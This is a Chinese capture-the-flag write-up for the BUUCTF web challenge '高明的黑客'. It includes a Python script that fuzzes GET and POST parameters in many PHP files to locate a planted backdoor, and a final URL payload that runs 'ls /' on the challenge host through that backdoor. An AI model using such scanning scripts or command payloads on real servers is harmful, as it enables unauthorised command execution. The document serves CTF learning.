buuctf—web—高明的黑客

打开靶机,看到如下界面

 于是打开www.tar.gz

 下载后发现是一个放有大量php文件的文件夹

看了大佬的wp后明白了是fuzzing

附上大佬的脚本

import os
import re
import requests
filenames = os.listdir('D:/phpStudy/PHPTutorial/WWW/src/')
pattern = re.compile(r"$_[GEPOST]{3,4}[.*]")
for name in filenames:
    print(name)
    with open('D:/phpStudy/PHPTutorial/WWW/src/'+name,'r') as f:
        data = f.read()
    result = list(set(pattern.findall(data)))

    for ret in result:
        try:
            command = 'echo "got it"'
            flag = 'got it'
            # command = 'phpinfo();'
            # flag = 'phpinfo'
            if 'GET' in ret:
                passwd = re.findall(r"'(.*)'",ret)[0]
                r = requests.get(url='http://127.0.0.1//src/' + name + '?' + passwd + '='+ command)
                if "got it" in r.text:
                    print('backdoor file is: ' + name)
                    print('GET:  ' + passwd)
            elif 'POST' in ret:
                passwd = re.findall(r"'(.*)'",ret)[0]
                r = requests.post(url='http://127.0.0.1//src/' + name,data={passwd:command})
                if "got it" in r.text:
                    print('backdoor file is: ' + name)
                    print('POST: ' + passwd)
        except : pass

这里需要在本地搭建一个phpstudy环境且需要PHP版本在7以上

这里我用的是PHP7.2的环境

phpstudy更改PHP版本的方法

 访问本地网站,查看是否搭建成功

 看到此界面便说明搭建成功了

开始运行脚本,由于脚本运行速度较慢,于是删除了X之前的文件

 查询根目录下文件

payload:http://32d6ad97-7e91-42b6-85bb-077538a93664.node3.buuoj.cn/xk0SzyKwfzw.php?Efa5BVG=ls /

 查看flag内容

原文地址:https://www.cnblogs.com/anweilx/p/12357790.html